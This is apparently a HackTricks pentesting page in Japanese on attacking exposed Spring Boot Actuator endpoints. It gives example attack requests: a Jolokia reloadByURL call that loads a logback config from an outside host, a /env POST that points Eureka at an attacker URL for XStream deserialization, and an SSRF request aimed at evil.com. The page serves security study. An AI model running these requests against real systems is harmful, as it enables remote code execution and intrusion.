Spring Actuators
Reading time: 5 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Spring Auth Bypass
.png)
From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png
Spring Boot Actuatorsの悪用
元の投稿を確認してください [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
重要なポイント:
- Spring Boot Actuatorsは、
/health
、/trace
、/beans
、/env
などのエンドポイントを登録します。バージョン1から1.4では、これらのエンドポイントは認証なしでアクセス可能です。バージョン1.5以降は、デフォルトで非機密なのは/health
と/info
のみですが、開発者はこのセキュリティを無効にすることがよくあります。 - 特定のActuatorエンドポイントは、機密データを露出させたり、有害なアクションを許可したりする可能性があります:
/dump
、/trace
、/logfile
、/shutdown
、/mappings
、/env
、/actuator/env
、/restart
、および/heapdump
。- Spring Boot 1.xでは、アクチュエーターはルートURLの下に登録されますが、2.xでは
/actuator/
ベースパスの下にあります。
悪用技術:
- '/jolokia'を介したリモートコード実行:
/jolokia
アクチュエーターエンドポイントはJolokiaライブラリを公開し、MBeansへのHTTPアクセスを可能にします。reloadByURL
アクションは、外部URLからログ設定を再読み込みするために悪用される可能性があり、盲目的なXXEや作成されたXML設定を介したリモートコード実行につながる可能性があります。- 例の悪用URL:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
。
- '/env'を介した設定変更:
- Spring Cloudライブラリが存在する場合、
/env
エンドポイントは環境プロパティの変更を許可します。 - プロパティは、EurekaのserviceURLにおけるXStreamデシリアライズ脆弱性などの脆弱性を悪用するために操作できます。
- 例の悪用POSTリクエスト:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
- その他の有用な設定:
spring.datasource.tomcat.validationQuery
、spring.datasource.tomcat.url
、およびspring.datasource.tomcat.max-active
のようなプロパティは、SQLインジェクションやデータベース接続文字列の変更など、さまざまな悪用のために操作できます。
追加情報:
- デフォルトのアクチュエーターの包括的なリストはこちらで見つけることができます。
- Spring Boot 2.xの
/env
エンドポイントは、プロパティ変更のためにJSON形式を使用しますが、一般的な概念は同じです。
関連トピック:
- Env + H2 RCE:
/env
エンドポイントとH2データベースの組み合わせを悪用する詳細はこちらで見つけることができます。
- 不正なパス名解釈によるSpring BootのSSRF:
- SpringフレームワークのHTTPパス名におけるマトリックスパラメータ(
;
)の処理は、サーバーサイドリクエストフォージェリ(SSRF)を悪用するために利用できます。 - 例の悪用リクエスト:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。